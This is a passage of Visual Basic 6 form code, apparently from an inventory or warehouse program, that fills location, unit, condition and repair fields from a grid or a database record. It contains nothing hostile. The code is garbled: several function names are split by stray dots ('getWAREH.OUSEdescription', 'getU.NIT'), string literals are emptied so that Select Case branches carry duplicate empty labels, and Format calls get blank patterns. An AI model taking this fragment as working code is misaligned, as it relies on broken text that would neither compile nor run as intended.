 .sublocaBOX(Index).BackColor = &HC0C0FF
 .sublocaBOX(n).TooltipText = ""
 End If
 Else
 .logicBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 11)
 .sublocaBOX(n) = .SUMMARYlist.TextMatrix(summaryPOSITION, 12)
 .grid(2).Visible = False
 .logicBOX(n).TooltipText = getWAREH.OUSEdescription(.logicBOX(n))
 .sublocaBOX(n).TooltipText = getSUBLOC.ATIONdescription(.sublocaBOX(n))
 End If
 .logicBOX(n).Tag = .logicBOX(n)
 .sublocaBOX(n).Tag = .sublocaBOX(n)
 Load .unitBOX(n)
 Load .unit2BOX(n)
 .unitBOX(n).Enabled = False
 .unit2BOX(n).Enabled = False
 If .newBUTTON.Enabled Then
 .unitBOX(n) = ""
 .unit2BOX(n) = ""
 Else
 .unitBOX(n) = dat.ax!unit
 .unit2BOX(n) = dat.ax!unit2
 End If
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 newCOND = dat.ax!NEWcondition
 Else
 newCOND = dat.ax!Condition
 .NEWconditionBOX(n).TooltipText = dat.ax!conditionName
 End If
 .NEWconditionBOX(n).Tag = newCOND
 .NEWconditionBOX(n) = Format(newCOND, "")
 Else
 .NEWconditionBOX(n).Tag = .SUMMARYlist.TextMatrix(summaryPOSITION, 13)
 .NEWconditionBOX(n) = Format(.NEWconditionBOX(n).Tag, "")
 .NEWconditionBOX(n).TooltipText = .SUMMARYlist.TextMatrix(summaryPOSITION, 14)
 End If
 Select Case .Tag
 Case "", ""
 If Not .newBUTTON.Enabled Then
 .logicBOX(n).Enabled = True
 .sublocaBOX(n).Enabled = True
 End If
 Case ""
 Load .repairBOX(n)
 If summaryPOSITION = 0 Then
 If .newBUTTON.Enabled Then
 .repairBOX(n) = Format(dat.ax!repairCOST, "")
 .Cell(5) = Trim(dat.ax!NewStockNumber)
 .Cell(5).Tag = .Cell(5)
 .unitLABEL(1) = getU.NIT(.Cell(5).Tag)
 .newDESCRIPTION = Trim(dat.ax!NewStockDescription)
 Else
…